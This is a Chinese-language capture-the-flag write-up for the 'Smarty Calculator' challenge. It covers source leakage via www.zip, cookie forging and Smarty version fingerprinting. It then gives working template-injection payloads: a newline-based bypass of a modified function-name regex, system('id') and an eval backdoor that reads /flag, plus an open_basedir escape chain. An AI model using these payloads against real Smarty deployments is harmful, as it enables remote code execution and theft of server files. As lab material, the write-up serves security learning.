# [HMGCTF2022]Smarty Calculator

image-20241122202338119 进入页面,随便输入一个字符,发现还未登录,没有提示就是文件泄露

www.zip,发现文件,泄露查看源码:

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert(\"你还没有登录\")</script>";
  }
}

这个要求 cookie 有个 login 变量

随便加个就行:

Cookie:login=123

登录后就可以计算了

smarty 模板的判别(返回版本号)

{$smarty.version}

image-20241122203414983

在网上找一下有没有这个版本的 poc:

image-20241122210908346

{function+name='rce(){};system("id");function+'}{/function}

但是没有回显,那就是修改了代码,可以自己使用 beyond compare4 对比一下本来的脚本:

https://github.com/smarty-php/smarty/releases/tag/v3.1.39

image-20241122211039173

image-20241122211049314

发现这个过滤的代码被修改了

我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!去掉,表示匹配成功即进入 error;
然后 a-zA-Z0-9_\x80-\xff 这些包含了正常的大小写字母,数字,下划线以及不可显字符;
而后面的 (.*)+ 中,. 匹配除了换行符以外的所有字符,* 匹配 0 次或者多次,+ 匹配一次或者多次

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
            $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
        }

所以可以换行绕过, %0A 既不在前面的 [] 匹配里面,又不被后面的 . 匹配

所以我们只需要在原来的 poc 基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)

data={function+name='rce(){};system("id");function%0A%0A'}{/function}

获取 id

再是获取 flag

data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=var_dump(file_get_contents('/flag'));

若是限制 open_basedir 目录

data={function+name='rce(){};system("id");@eval($_POST[1]);function%0A%0A'}{/function}&1=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

image-20241122215246701

获取 flag

参考链接:https://blog.csdn.net/RABCDXB/article/details/123750375